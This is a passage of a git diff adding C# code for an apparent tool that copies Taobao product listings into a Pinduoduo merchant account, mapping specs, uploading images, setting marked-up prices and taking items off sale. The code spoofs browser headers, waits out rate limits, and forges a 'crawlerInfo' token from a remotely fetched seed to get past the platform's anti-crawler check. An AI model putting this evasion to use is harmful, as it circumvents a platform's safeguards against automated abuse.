AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"; + request.UserAgent = BaseClass.ChromeUserAgent; + request.ContentType = "application/json;charset=UTF-8"; + request.Headers.Add("Origin", @"https://mms.pinduoduo.com"); + request.Headers.Add("Sec-Fetch-Site", @"same-origin"); + request.Headers.Add("Sec-Fetch-Mode", @"cors"); + request.Headers.Add("Sec-Fetch-Dest", @"empty"); + request.Referer = referer; + request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate, br"); + request.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9"); + request.Headers.Set(HttpRequestHeader.Cookie, cookie); + if (proxy != null) + request.Proxy = proxy; + + request.Method = "POST"; + request.ServicePoint.Expect100Continue = false; + + string body = data; + byte[] postBytes = System.Text.Encoding.UTF8.GetBytes(body); + request.ContentLength = postBytes.Length; + Stream stream = request.GetRequestStream(); + stream.Write(postBytes, 0, postBytes.Length); + stream.Close(); + + response = (HttpWebResponse)request.GetResponse(); + } + catch (WebException e) + { + if (e.Status == WebExceptionStatus.ProtocolError) response = (HttpWebResponse)e.Response; + else responseText = "error," + e.Message; + } + catch (Exception ex) + { + responseText = "error," + ex.Message; + } + if (response != null) + { + if (string.IsNullOrEmpty(responseText)) + responseText = ReadResponse(response); + response.Close(); + } + + Thread.Sleep(50 + Randomx.GetId(100)); + + return responseText; + } + + /// + /// 读取返回值 + /// + /// + /// + public static string ReadResponse(HttpWebResponse response) + { + using (Stream responseStream = response.GetResponseStream()) + { + Stream streamToRead = responseStream; + if (response.ContentEncoding.ToLower().Contains("gzip")) + { + streamToRead = new GZipStream(streamToRead, CompressionMode.Decompress); + } + else if (response.ContentEncoding.ToLower().Contains("deflate")) + { + streamToRead = new DeflateStream(streamToRead, CompressionMode.Decompress); + } + + using (StreamReader streamReader = new StreamReader(streamToRead, Encoding.UTF8)) + { + return streamReader.ReadToEnd(); + } + } + } + + } + + public class CpsPriceRangeCoup + { + public int MinPrice = 0; + public int MaxPrice = 0; + public int CoupPrice = 0; + } +} diff --git a/Work/ManageClass/ShopSingleUpload.cs b/Work/ManageClass/ShopSingleUpload.cs new file mode 100644 index 0000000..de35256 --- /dev/null +++ b/Work/ManageClass/ShopSingleUpload.cs @@ -0,0 +1,27 @@ +using System; +using System.Collections.Generic; +using System.Threading; +using AllBase; +using Work.Api; +using Work.CollectClass; + +namespace Work.ManageClass +{ + public class ShopSingleUpload + { + public string Name; + public ShopChatBase Shop; + public List Product = new List(); + public static bool TaobaoData = false, PinduoduoData = false, Sleep = false, NoSamePid = false, CreateNew = false, NoSoled = false; + public static int VisitMax = 0; + public static List NoKeywords = new List(); + public static List HadShops = new List(); + public static Dictionary> ShopProductTemp = new Dictionary>(); + public static Dictionary> FissionTemp = new Dictionary>(); + public ShopSingleUpload(string name, ShopChatBase shop) + { + Name = name; + Shop = shop; + } + } +} diff --git a/Work/ManageClass/UpPinduoduoProduct.cs b/Work/ManageClass/UpPinduoduoProduct.cs new file mode 100644 index 0000000..db5d5d6 --- /dev/null +++ b/Work/ManageClass/UpPinduoduoProduct.cs @@ -0,0 +1,938 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using AllBase; +using Work.Api; +using Work.CollectClass; + +namespace Work.ManageClass +{ + public class UpPinduoduoProduct + { + public static string ExpressId = ""; + public static int NoReplaceDay = 0; + public static int LimitBuy, GroupCount, LimitBuyTimes, AddPercent, AddPrice, SingleBuyAddPrice, BaseBuy, BaseBuyAdd, ThreadCount; + public static bool RandAddPrice = false, CatSame = false, NoReplaceDays = false; + public static Dictionary EditDayTemp = new Dictionary(); + public static Dictionary> PinduoduoProp = new Dictionary>(); + public static string Name; + public static List ProductTemp = new List(); + public UpPinduoduoProduct(ShopChatBase shop,string name) + { + Shop = shop; + Name = name; + } + public UpPinduoduoProduct() + { + } + + public ShopChatBase Shop = null; + /// + /// 初始化属性名称 + /// + public void IniProp(int mainCatId, string cookies) + { + if (PinduoduoProp.ContainsKey(mainCatId) && PinduoduoProp[mainCatId].Count > 0) + return; + Dictionary props = new Dictionary(); + PinduoduoApiPropId p = new PinduoduoApiPropId(Shop); + string html = p.Get(mainCatId); + var mm = BaseRegex.GetMatchRegex(ref html, + @"\{""parent_spec_id"":([\d]+),""cat_id"":[\d]+,""parent_spec_name"":""([^""]+?)"""); + for (int j = 0; mm != null && j < mm.Count; j++) + { + PinduoduoPropBase pp = new PinduoduoPropBase(); + pp.Name = mm[j].Groups[2].Value; + pp.Id = mm[j].Groups[1].Value; + try + { + props.Add(pp.Name, pp); + } + catch + { + } + } + try + { + if (props.Count > 0) + PinduoduoProp.Add(mainCatId, props); + } + catch(Exception ex) + { + } + if (props.Count > 0) + return; + + string url = "https://mms.pinduoduo.com/glide/v2/mms/query/spec/name/list"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string data = "{}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + if (!string.IsNullOrEmpty(html) && html.Contains("过于频繁")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + } + if (!string.IsNullOrEmpty(html) && html.Contains("过于频繁")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + } + if (!string.IsNullOrEmpty(html) && html.Contains("过于频繁")) + { + //MessageBox.Show("请不要单个店铺同时开多个软件上传\r\n请调整", "提示"); + Thread.Sleep(60 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + } + if (!string.IsNullOrEmpty(html) && html.Contains("过于频繁")) + { + Thread.Sleep(60 * 1000); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + } + + var m = BaseRegex.GetMatchRegex(ref html, @"""value"":""(.*?)"""); + for (int j = 0; m != null && j < m.Count; j++) + { + PinduoduoPropBase pp = new PinduoduoPropBase(); + pp.Name = m[j].Groups[1].Value; + try + { + if (!props.ContainsKey(pp.Name)) + props.Add(pp.Name, pp); + } + catch + { + } + } + try + { + PinduoduoProp.Add(mainCatId, props); + } + catch + { + } + } + + /// + /// 自动给无图片的SKU识别对应的图片 + /// + /// + public void BuildSkuMapProps(ref ProductCollectBase p) + { + if (p.Props.Count == 0) + { + return; + } + string cookies = Shop.Cookies; + int mainCatId = Shop.MainCatId; + int maxImageCut = 0, maxImageCount = 0; + for (int i = 0; i < p.Props.Count; i++) + { + //if (p.Props[i].Values.Count <= 1 && p.from == "淘宝"&&p.cat_id != 3109)//只有一个属性的删除 + //{ + // p.Props.RemoveAt(i); + // i--; + // continue; + //} + for (int j = 0; j < p.Props[i].Values.Count; j++) + { + if ( p.Props[i].Values[j].name.Contains("代理")) + p.Props[i].Values.RemoveAt(j); + continue; + } + + int imageCount = 0; + for (int j = 0; j < p.Props[i].Values.Count; j++) + { + if (!string.IsNullOrEmpty(p.Props[i].Values[j].image)) + imageCount++; + + } + if (imageCount > maxImageCount) + { + maxImageCount = imageCount; + maxImageCut = i; + } + } + if (p.Props.Count == 0) + { + return; + } + + string[] l = @"客服 + QQ + 定制品 + 定制 + 定金 + 差价 + 限量 + 联系 + VX + 抽奖 + 留言 + 明式 + 四季 + 特价 + 专拍 + 补差 + 尺寸 + 价格 + 客服 + 运费到付 + 发货 + 直接拍 + 运费险 + 团购 + ".Split('\n'); + for (int i = 0; i < p.SkuMaps.Count; i++) + { + if (!string.IsNullOrEmpty(p.SkuMaps[i].prop_image)) + { + foreach (string s in l) + { + if (string.IsNullOrEmpty(s)) + continue; + string m = s.Trim(); + BaseRegex.Relpace(ref p.SkuMaps[i].name, m, ""); + } + continue; + } + for (int j = 0; j < p.Props[maxImageCut].Values.Count; j++) + { + if (p.SkuMaps[i].name.Contains(p.Props[maxImageCut].Values[j].name)) + { + p.SkuMaps[i].prop_image = p.Props[maxImageCut].Values[j].image; + break; + } + } + foreach (string s in l) + { + if (string.IsNullOrEmpty(s)) + continue; + string m = s.Trim(); + BaseRegex.Relpace(ref p.SkuMaps[i].name, m, ""); + } + + } + int cut = 0; + for (int i = 0; i < p.SkuMaps.Count; i++) + { + if (!string.IsNullOrEmpty(p.SkuMaps[i].prop_image)) + continue; + p.SkuMaps[i].prop_image = p.Images[cut]; + cut++; + if (cut >= p.Images.Count) + cut = 0; + } + if (p.Props.Count > 2 && p.from == "淘宝")//两个属性以上,去掉一个 + { + int minCount = 100, minCut = -1; + for (int i = 0; i < p.Props.Count; i++) + { + if (p.Props[i].Values.Count < minCount && string.IsNullOrEmpty(p.Props[i].Values[0].image)) + { + minCount = p.Props[i].Values.Count; + minCut = i; + } + } + if (minCut > -1) + { + p.Props.RemoveAt(minCut); + } + } + + + int cutId = 0; + PinduoduoPropBase first = new PinduoduoPropBase(); + PinduoduoPropBase second = new PinduoduoPropBase(); + if (!PinduoduoProp.ContainsKey(mainCatId)) + { + LogSave.Add(Name, "分类初始化异常,请重新打开软件"); + return; + } + for (int j = 0; j < p.Props.Count; j++) + { + foreach (KeyValuePair pb in PinduoduoProp[mainCatId]) + { + if (cutId == 0) + first = pb.Value; + if (cutId == 1) + second = pb.Value; + if (pb.Key == p.Props[j].name) + { + p.Props[j].pinduoduo_name = pb.Key; + if (p.cat_id != 3109 || (p.cat_id == 3109 && p.Props[j].pinduoduo_name != "容量")) + p.Props[j].pinduoduo_id = pb.Value.Id; + break; + } + cutId++; + } + } + for (int j = 0; j < p.Props.Count; j++) + { + foreach (KeyValuePair pb in PinduoduoProp[mainCatId]) + { + if (string.IsNullOrEmpty(p.Props[j].pinduoduo_name) && p.Props[j].name.Contains(pb.Key)) + { + p.Props[j].pinduoduo_name = pb.Key; + if (p.cat_id != 3109||(p.cat_id == 3109 && p.Props[j].pinduoduo_name!="容量")) + p.Props[j].pinduoduo_id = pb.Value.Id; + break; + } + } + } + if (p.Props.Count == 1 && string.IsNullOrEmpty(p.Props[0].pinduoduo_name)) + { + p.Props[0].pinduoduo_name = first.Name; + p.Props[0].pinduoduo_id = first.Id; + } + else if (p.Props.Count == 2) + { + if (string.IsNullOrEmpty(p.Props[0].pinduoduo_name) && + string.IsNullOrEmpty(p.Props[1].pinduoduo_name)) + { + p.Props[0].pinduoduo_name = first.Name; + p.Props[0].pinduoduo_id = first.Id; + p.Props[1].pinduoduo_name = second.Name; + p.Props[1].pinduoduo_id = second.Id; + } + else if (string.IsNullOrEmpty(p.Props[0].pinduoduo_name)) + { + if (p.Props[1].pinduoduo_name == first.Name) + { + p.Props[0].pinduoduo_name = second.Name; + p.Props[0].pinduoduo_id = second.Id; + } + else + { + p.Props[0].pinduoduo_name = first.Name; + p.Props[0].pinduoduo_id = first.Id; + } + } + else if (string.IsNullOrEmpty(p.Props[1].pinduoduo_name)) + { + if (p.Props[0].pinduoduo_name == first.Name) + { + p.Props[1].pinduoduo_name = second.Name; + p.Props[1].pinduoduo_id = second.Id; + } + else + { + p.Props[1].pinduoduo_name = first.Name; + p.Props[1].pinduoduo_id = first.Id; + } + } + } + for (int i = 0; i < p.Props.Count; i++) + { + if (p.cat3 == 3109 && p.Props[i].name.Contains("容量")) + continue; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + if (string.IsNullOrEmpty(p.Props[i].pinduoduo_id) || p.Props[i].pinduoduo_id == "0") + { + string url = "https://mms.pinduoduo.com/glide/v2/mms/query/spec/by/name"; + string data = "{\"parent_id\":0,\"name\":\"" + p.Props[i].pinduoduo_name + "\"}"; + string html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, cookies); + string id = BaseRegex.GetLongJson(ref html, "result").ToString(); + if (id == "0") + { + Thread.Sleep(1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, cookies); + id = BaseRegex.GetLongJson(ref html, "spec_id").ToString(); + } + if (id == "0") + { + LogSave.Add(Name, "获取类别ID异常:" + p.Props[i].pinduoduo_name); + continue; + } + if (PinduoduoProp[mainCatId].ContainsKey(p.Props[i].pinduoduo_name)) + PinduoduoProp[mainCatId][p.Props[i].pinduoduo_name].Id = id; + p.Props[i].pinduoduo_id = id; + } + + for (int j = 0; j < p.Props[i].Values.Count; j++) + { + //if (p.from_site_id == 1 && j > 12 && p.Props[i].Values.Count > 12)//属性元素超过15个的就丢弃 + //{ + // p.Props[i].Values.RemoveAt(j); + // j--; + // continue; + //} + foreach (string s in l) + { + if (string.IsNullOrEmpty(s)) + continue; + string m = s.Trim(); + BaseRegex.Relpace(ref p.Props[i].Values[j].name, m, ""); + } + + if (PinduoduoProp[mainCatId].ContainsKey(p.Props[i].pinduoduo_name) && + PinduoduoProp[mainCatId][p.Props[i].pinduoduo_name].Values.ContainsKey(p.Props[i].Values[j].name)) + { + p.Props[i].Values[j].id = + PinduoduoProp[mainCatId][p.Props[i].pinduoduo_name].Values[p.Props[i].Values[j].name].ToString(); + continue; + } + string html, propvid=""; + if (BaseClass.UseApiFirst) + { + PinduoduoApiPropId api = new PinduoduoApiPropId(Shop); + html = api.GetPropId(p.Props[i].pinduoduo_id, p.Props[i].Values[j].name); + propvid = BaseRegex.GetStringJson(ref html, "spec_id"); + if (string.IsNullOrEmpty(propvid)) + { + string url = "https://mms.pinduoduo.com/glide/v2/mms/query/spec/by/name"; + string data = "{\"parent_id\":" + p.Props[i].pinduoduo_id + ",\"name\":\"" + + p.Props[i].Values[j].name + "\"}"; + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, cookies); + propvid = BaseRegex.GetStringJson(ref html, "result"); + if (string.IsNullOrEmpty(propvid)) + { + Thread.Sleep(1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, cookies); + propvid = BaseRegex.GetStringJson(ref html, "result"); + } + } + } + else + { + string url = "https://mms.pinduoduo.com/glide/v2/mms/query/spec/by/name"; + string data = "{\"parent_id\":" + p.Props[i].pinduoduo_id + ",\"name\":\"" + p.Props[i].Values[j].name + "\"}"; + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, cookies); + if(html.Contains("规格名称字数过长")) + { + string title = p.Props[i].Values[j].name; + if (BaseClass.GetCharLength(title) > 30) + title = BaseClass.SubCharLength(title, 30); + data = "{\"parent_id\":" + p.Props[i].pinduoduo_id + ",\"name\":\"" + title + "\"}"; + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, cookies); + } + propvid = BaseRegex.GetStringJson(ref html, "result"); + if (string.IsNullOrEmpty(propvid)) + { + Thread.Sleep(1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, cookies); + propvid = BaseRegex.GetStringJson(ref html, "result"); + } + if (string.IsNullOrEmpty(propvid)) + { + PinduoduoApiPropId api = new PinduoduoApiPropId(Shop); + html = api.GetPropId(p.Props[i].pinduoduo_id, p.Props[i].Values[j].name); + propvid = BaseRegex.GetStringJson(ref html, "spec_id"); + } + } + if (string.IsNullOrEmpty(propvid)) + { + p.Props[i].Values.RemoveAt(j); + j--; + continue; + } + + p.Props[i].Values[j].id = propvid; + try + { + PinduoduoProp[mainCatId][p.Props[i].pinduoduo_name].Values.Add(p.Props[i].Values[j].name, long.Parse(p.Props[i].Values[j].id)); + } + catch + { + } + + } + } + } + + public void BuildSkuMapProps(ref ProductCollectBase prod, string cookies, int mainCatId) + { + if (prod.Props.Count == 0) + { + return; + } + + int maxImageCut = 0, maxImageCount = 0; + for (int i = 0; i < prod.Props.Count; i++) + { + if (prod.Props[i].Values.Count <= 1 && prod.from == "淘宝")//只有一个属性的删除 + { + prod.Props.RemoveAt(i); + i--; + continue; + } + + int imageCount = 0; + for (int j = 0; j < prod.Props[i].Values.Count; j++) + { + if (!string.IsNullOrEmpty(prod.Props[i].Values[j].image)) + imageCount++; + } + if (imageCount > maxImageCount) + { + maxImageCount = imageCount; + maxImageCut = i; + } + } + if (prod.Props.Count == 0) + { + return; + } + for (int i = 0; i < prod.SkuMaps.Count; i++) + { + if (!string.IsNullOrEmpty(prod.SkuMaps[i].prop_image)) + continue; + for (int j = 0; j < prod.Props[maxImageCut].Values.Count; j++) + { + if (prod.SkuMaps[i].name.Contains(prod.Props[maxImageCut].Values[j].name)) + { + prod.SkuMaps[i].prop_image = prod.Props[maxImageCut].Values[j].image; + break; + } + } + } + int cut = 0; + for (int i = 0; i < prod.SkuMaps.Count; i++) + { + if (!string.IsNullOrEmpty(prod.SkuMaps[i].prop_image)) + continue; + prod.SkuMaps[i].prop_image = prod.Images[cut]; + cut++; + if (cut >= prod.Images.Count) + cut = 0; + } + if (prod.Props.Count > 2 && prod.from == "淘宝")//两个属性以上,去掉一个 + { + int minCount = 100, minCut = -1; + for (int i = 0; i < prod.Props.Count; i++) + { + if (prod.Props[i].Values.Count < minCount && string.IsNullOrEmpty(prod.Props[i].Values[0].image)) + { + minCount = prod.Props[i].Values.Count; + minCut = i; + } + } + if (minCut > -1) + { + prod.Props.RemoveAt(minCut); + } + } + + + int cutId = 0; + PinduoduoPropBase first = new PinduoduoPropBase(); + PinduoduoPropBase second = new PinduoduoPropBase(); + if (!PinduoduoProp.ContainsKey(mainCatId)) + { + LogSave.Add(Name, "分类初始化异常,请重新打开软件"); + return; + } + for (int j = 0; j < prod.Props.Count; j++) + { + foreach (KeyValuePair pb in PinduoduoProp[mainCatId]) + { + if (cutId == 0) + first = pb.Value; + if (cutId == 1) + second = pb.Value; + if (pb.Key == prod.Props[j].name) + { + prod.Props[j].pinduoduo_name = pb.Key; + prod.Props[j].pinduoduo_id = pb.Value.Id; + break; + } + cutId++; + } + } + for (int j = 0; j < prod.Props.Count; j++) + { + foreach (KeyValuePair pb in PinduoduoProp[mainCatId]) + { + if (string.IsNullOrEmpty(prod.Props[j].pinduoduo_name) && prod.Props[j].name.Contains(pb.Key)) + { + prod.Props[j].pinduoduo_name = pb.Key; + prod.Props[j].pinduoduo_id = pb.Value.Id; + break; + } + } + } + if (prod.Props.Count == 1 && string.IsNullOrEmpty(prod.Props[0].pinduoduo_name)) + { + prod.Props[0].pinduoduo_name = first.Name; + prod.Props[0].pinduoduo_id = first.Id; + } + else if (prod.Props.Count == 2) + { + if (string.IsNullOrEmpty(prod.Props[0].pinduoduo_name) && + string.IsNullOrEmpty(prod.Props[1].pinduoduo_name)) + { + prod.Props[0].pinduoduo_name = first.Name; + prod.Props[0].pinduoduo_id = first.Id; + prod.Props[1].pinduoduo_name = second.Name; + prod.Props[1].pinduoduo_id = second.Id; + } + else if (string.IsNullOrEmpty(prod.Props[0].pinduoduo_name)) + { + if (prod.Props[1].pinduoduo_name == first.Name) + { + prod.Props[0].pinduoduo_name = second.Name; + prod.Props[0].pinduoduo_id = second.Id; + } + else + { + prod.Props[0].pinduoduo_name = first.Name; + prod.Props[0].pinduoduo_id = first.Id; + } + } + else if (string.IsNullOrEmpty(prod.Props[1].pinduoduo_name)) + { + if (prod.Props[0].pinduoduo_name == first.Name) + { + prod.Props[1].pinduoduo_name = second.Name; + prod.Props[1].pinduoduo_id = second.Id; + } + else + { + prod.Props[1].pinduoduo_name = first.Name; + prod.Props[1].pinduoduo_id = first.Id; + } + } + } + for (int i = 0; i < prod.Props.Count; i++) + { + string refere = "https://mms.pinduoduo.com/Pdd.html"; + if (string.IsNullOrEmpty(prod.Props[i].pinduoduo_id) || prod.Props[i].pinduoduo_id == "0") + { + string url = "https://mms.pinduoduo.com/glide/v2/mms/query/spec/by/name"; + string data = "{\"parent_id\":0,\"name\":\"" + prod.Props[i].pinduoduo_name + "\"}"; + string html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, cookies); + string id = BaseRegex.GetLongJson(ref html, "result").ToString(); + if (id == "0") + { + Thread.Sleep(3000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, cookies); + id = BaseRegex.GetLongJson(ref html, "spec_id").ToString(); + } + if (id == "0") + { + LogSave.Add(Name, "获取类别ID异常:" + prod.Props[i].pinduoduo_name); + continue; + } + if (PinduoduoProp[mainCatId].ContainsKey(prod.Props[i].pinduoduo_name)) + PinduoduoProp[mainCatId][prod.Props[i].pinduoduo_name].Id = id; + prod.Props[i].pinduoduo_id = id; + } + + for (int j = 0; j < prod.Props[i].Values.Count; j++) + { + //if (prod.from_site_id == 1 && j >= 30 && prod.Props[i].Values.Count >= 30) // 属性元素超过30个的就丢弃 + //{ + // prod.Props[i].Values.RemoveAt(j); + // j--; + // continue; + //} + + if (PinduoduoProp[mainCatId].ContainsKey(prod.Props[i].pinduoduo_name) && + PinduoduoProp[mainCatId][prod.Props[i].pinduoduo_name].Values.ContainsKey(prod.Props[i].Values[j].name)) + { + prod.Props[i].Values[j].id = + PinduoduoProp[mainCatId][prod.Props[i].pinduoduo_name].Values[prod.Props[i].Values[j].name].ToString(); + continue; + } + PinduoduoApiPropId api = new PinduoduoApiPropId(Shop); + string html = api.GetPropId(prod.Props[i].pinduoduo_id, prod.Props[i].Values[j].name); + string propvid = BaseRegex.GetStringJson(ref html, "spec_id"); + if (!string.IsNullOrEmpty(propvid)) + { + prod.Props[i].Values[j].id = propvid; + try + { + PinduoduoProp[mainCatId][prod.Props[i].pinduoduo_name].Values.Add(prod.Props[i].Values[j].name, long.Parse(prod.Props[i].Values[j].id)); + } + catch + { + } + continue; + } + string url = "https://mms.pinduoduo.com/glide/v2/mms/query/spec/by/name"; + string data = "{\"parent_id\":" + prod.Props[i].pinduoduo_id + ",\"name\":\"" + prod.Props[i].Values[j].name + "\"}"; + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, cookies); + propvid = BaseRegex.GetStringJson(ref html, "result"); + if (string.IsNullOrEmpty(propvid)) + { + Thread.Sleep(3000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, cookies); + propvid = BaseRegex.GetStringJson(ref html, "result"); + } + if (string.IsNullOrEmpty(propvid)) + { + prod.Props[i].Values.RemoveAt(j); + j--; + continue; + } + + prod.Props[i].Values[j].id = propvid; + try + { + PinduoduoProp[mainCatId][prod.Props[i].pinduoduo_name].Values.Add(prod.Props[i].Values[j].name, long.Parse(prod.Props[i].Values[j].id)); + } + catch + { + } + + } + } + } + public static Dictionary PriceTemp = new Dictionary(); + public static int GetNewPrice(decimal beforePrice, int addPercent, int addPrice, long pid, int addSinglePrice, decimal maxPrice) + { + //if (UserStepPrice) + //{ + // int p = (int)(beforePrice * 100) + PriceAllAdd*100; + // if (beforePrice >= PriceBefor1 && beforePrice <= PriceEnd1) + // return p + PriceAdd1 * 100; + // if (beforePrice >= PriceBefor2 && beforePrice <= PriceEnd2) + // return p + PriceAdd2 * 100; + // if (beforePrice >= PriceBefor3 && beforePrice <= PriceEnd3) + // return p + PriceAdd3 * 100; + // if (beforePrice >= PriceBefor4 && beforePrice <= PriceEnd4) + // return p + PriceAdd4 * 100; + // if (beforePrice >= PriceBefor5 && beforePrice <= PriceEnd5) + // return p + PriceAdd5 * 100; + //} + + if (beforePrice < 1) + beforePrice = maxPrice; + if (beforePrice < 1) + beforePrice = 10000; + int before = (int)(beforePrice * 100); + string key = pid + "," + before + "," + addPercent + "," + addPrice + "," + addSinglePrice; + int price; + if (PriceTemp.ContainsKey(key)) + { + price = PriceTemp[key]; + return price; + } + //if (addSinglePrice == 0) + // { + price = before * (100 + addPercent) / 100 + addPrice * 100 + (RandAddPrice ? new Random(Guid.NewGuid().GetHashCode()).Next(10, 90) : 0); + // } + // else + // price = (int)((beforePrice + addSinglePrice) * 100) + (RandAddPrice ? new Random(Guid.NewGuid().GetHashCode()).Next(10, 90) : 0); + try + { + PriceTemp.Add(key, price); + } + catch + { + } + return price; + } + + public static string UploadImage(byte[] img) + { + return UploadImage(img, null); + } + + /// + /// 上传图片 + /// + /// + /// + public static string UploadImage(byte[] img, ShopChatBase Shop) + { + PinduoduoApiGetProduct p = new PinduoduoApiGetProduct(Shop); + string html = p.UploadImage(img); + string imgUrl = BaseRegex.GetStringJson(ref html, "image_url"); + if (string.IsNullOrEmpty(imgUrl)) + { + string Cookies = Shop.Cookies; + string url = "https://mms.pinduoduo.com/earth/api/upload/getSignature"; + string refere = "https://mms.pinduoduo.com/goods/goods_add/index?id=5146155709&type=edit&from=category"; + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, "{}", Cookies); + string sign = BaseRegex.GetStringJson(ref html, "signature"); + if (string.IsNullOrEmpty(sign)) + { + return ""; + } + string data = + "{\"upload_sign\":\"" + sign + "\",\"image\":\"data:image/jpeg;base64," + + Convert.ToBase64String(img) + "\"}"; + url = "https://file.yangkeduo.com/v2/store_image"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Cookies); + imgUrl = BaseRegex.GetStringJson(ref html, "url"); + LogSave.Add(Name, "上传图片:" + imgUrl); + return imgUrl; + } + return imgUrl; + } + + + public static Dictionary TypeName = new Dictionary(); + public static Dictionary TypeValues = new Dictionary(); + private static int firstKeyId = 0, firstValueId = 0; + public static string AddType(ref ProductCollectBase p, int mainCatId, string cookies, int mallId) + { + if (mainCatId == 5) + { + if (TypeName.Count == 0) + { + string url = "https://mms.pinduoduo.com/malls/" + mallId + "/transport/glide/query/clothes_fabric/list"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, "{}", cookies); + var m = BaseRegex.GetMatchRegex(ref html, @"""code"":([\d]+),""desc"":""(.*?)"""); + for (int i = 0; m != null && i < m.Count; i++) + { + string name = m[i].Groups[2].Value; + int value = int.Parse(m[i].Groups[1].Value); + if (firstKeyId == 0) + firstKeyId = value; + if (!TypeName.ContainsKey(name)) + TypeName.Add(name, value); + } + } + if (TypeValues.Count == 0) + { + string url = "https://mms.pinduoduo.com/malls/" + mallId + "/transport/glide/query/clothes_fabric_content/list"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, "{}", cookies); + var m = BaseRegex.GetMatchRegex(ref html, @"""code"":([\d]+),""desc"":""(.*?)"""); + for (int i = 0; m != null && i < m.Count; i++) + { + string name = m[i].Groups[2].Value; + int value = int.Parse(m[i].Groups[1].Value); + if (firstValueId == 0) + firstValueId = value; + if (!TypeValues.ContainsKey(name)) + TypeValues.Add(name, value); + } + } + } + if (mainCatId == 5) + { + string name = "材质成分"; + string value = ""; + for (int i = 0; i < p.Prop.Count; i++) + { + if (p.Prop[i].Key == name) + { + value = p.Prop[i].Value; + break; + } + } + int keyId = 0, valueId = 0; + if (!string.IsNullOrEmpty(value) && value.Contains("%")) + { + string v = BaseRegex.GetMatchRegexString(ref value, @"([\d]+)%"); + string namex = value.Substring(0, value.IndexOf(v + "%")); + if (string.IsNullOrEmpty(v) || string.IsNullOrEmpty(namex)) + { + goto NoValue; + } + int pe = int.Parse(v); + + foreach (KeyValuePair k in TypeName) + { + if (k.Key.Contains(namex) || namex.Contains(k.Key)) + { + keyId = k.Value; + foreach (KeyValuePair vv in TypeValues) + { + var mm = BaseRegex.GetMatchRegex(vv.Key, @"([\d]+)%"); + if (mm.Count == 2) + { + int min = int.Parse(mm[0].Groups[1].Value); + int max = int.Parse(mm[1].Groups[1].Value); + if (pe >= min && pe <= max) + { + valueId = vv.Value; + goto NoValue; + } + } + } + break; + } + } + + } + NoValue: + if (keyId == 0) + keyId = firstKeyId; + if (valueId == 0) + valueId = firstValueId; + string addContent = ",\"fabric\":" + keyId + ",\"fabric_content\":" + valueId; + return addContent; + } + return ""; + } + + /// + /// 下架产品 + /// + /// + /// + public static bool SetOffLine(long id, ShopChatBase shop) + { + string cookies = shop == null ? "" : shop.Cookies; + PinduoduoApiGetProduct api = new PinduoduoApiGetProduct(shop); + api.Name = Name; + string html = api.SetOnline(id, false); + //string data = "{\"goods_id\":" + id + "}"; + string urlx = "https://mms.pinduoduo.com/vodka/v2/mms/batchOffSale"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + //string html = GetPostTaobaoHtml.UploadTaobaoPost(urlx, refere, true, data, cookies); + if (string.IsNullOrEmpty(html) || html.Contains("过于频繁")) + { + if (!string.IsNullOrEmpty(html) && html.Contains("过于频繁")) + { + LogSave.Add(Name, "速度太快,休眠2-5分钟"); + Thread.Sleep(100 * 1000); + } + else + { + LogSave.Add(Name, "不能下架"); + return false; + } + html = api.SetOnline(id, false); + } + if (string.IsNullOrEmpty(html) || html.Contains("过于频繁")) + { + Thread.Sleep(100 * 1000); + html = api.SetOnline(id, false); + } + if (string.IsNullOrEmpty(html) || html.Contains("过于频繁")) + { + Thread.Sleep(100 * 1000); + LogSave.Add(Name, "下架产品失败:" + id); + return false; + } + if (html.Contains("使用MMS后台做此")) + { + if (string.IsNullOrEmpty(PinduoduoAuth.strContent)) + { + PinduoduoAuth.strContent = GetVisitProductNew.strJs;//FileBase.ReadAllText(path); + } + string NoCode = ""; + string strTime = BaseClass.GetTime(DateTime.Now).ToString() + "000"; + if (string.IsNullOrEmpty(NoCode)) + { + string htmlx = GetHtml.Gbk("http://nano.qixiaoke.com/nano.txt"); + NoCode = BaseRegex.GetMatchRegexString(ref htmlx, @"([\w\W]+?)-----"); + } + string fun2 = string.Format(@"getEncode('{0}','{1}','{2}')", strTime, NoCode, ""); + string codex = UploadPinduoduoSet.ExecuteScript(fun2, PinduoduoAuth.strContent); + + string data = "{\"goodsId\":" + id + ",\"crawlerInfo\":\"" + codex + "\"}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(urlx, refere, true, data, cookies); + } + LogSave.Add(Name, "下架产品成功:" + id); + return true; + } + } + + + public class PinduoduoPropBase + { + public string Name; + public string Id; + public Dictionary Values = new Dictionary(); + } +} diff --git a/Work/ManageClass/UpPinduoduoProductSet.cs 